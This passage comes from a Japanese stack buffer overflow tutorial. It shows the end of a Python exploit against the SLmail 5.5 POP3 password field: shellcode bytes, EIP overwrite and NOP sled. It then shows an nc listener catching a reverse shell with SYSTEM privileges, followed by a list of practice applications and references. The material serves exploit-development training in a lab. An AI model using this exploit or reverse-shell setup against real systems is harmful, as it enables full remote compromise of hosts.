"\x52\x47\xb9\x5b\x5b\x82\x4f\x83\xea\x7b\x16\xbc\xc3\xeb\x9e"
"\xc5\x39\x8c\x61\x1c\xfa\xac\x83\xb4\xf7\x44\x1a\x5d\xba\x08"
"\x9d\x88\xf9\x34\x1e\x38\x82\xc2\x3e\x49\x87\x8f\xf8\xa2\xf5"
"\x80\x6c\xc4\xaa\xa1\xa4")
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + junk + EIP + NOP + shellcode + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()
攻撃端末側でnc
コマンド構文を使用し、リバースシェルからの接続を待ち受けた状態で、Python
コマンドを実行します。
nt authority\system
権限で動くシェルを確立させることができました。
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
172.16.208.172: inverse host lookup failed: Unknown host
connect to [172.16.208.171] from (UNKNOWN) [172.16.208.172] 49184
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Program Files\SLmail\System>whoami
whoami
nt authority\system
スタックバッファオーバーフローの練習教材
スタックバッファオーバーフローの練習に使用することのできるアプリケーションリストです。
アプリケーション名 | URL |
---|---|
CloudMe Sync 1.10.9 | https://www.exploit-db.com/exploits/44175/ |
Freefloat FTP Server 1.0 | https://www.exploit-db.com/exploits/17546/ |
MiniShare 1.4.1 | https://www.exploit-db.com/exploits/636/ |
PCMan FTP Server 2.0.7 | https://www.exploit-db.com/exploits/26471 |
Savant Web Server 3.1 | https://www.exploit-db.com/exploits/10434/ |
SLmail 5.5 | https://www.exploit-db.com/exploits/638/ |
WarFTP 1.65 | https://www.exploit-db.com/exploits/3570/ |
Vulnserver | http://www.thegreycorner.com/2010/12/introducing-vulnserver.html |
VulnHub - Brainpan: 1 | https://qiita.com/v_avenger/items/fef9fa1eb92b4cf7a332 |
参考資料
- Exploit writing tutorial part 1 : Stack Based Overflows, Corelan Team, 2009/07/19
- Windows Exploit Development – Part 1: The Basics, Mike Czumak, 2013/12/6
- Writing Exploits for Win32 Systems from Scratch, Nacho Sorribas, 2016/6/23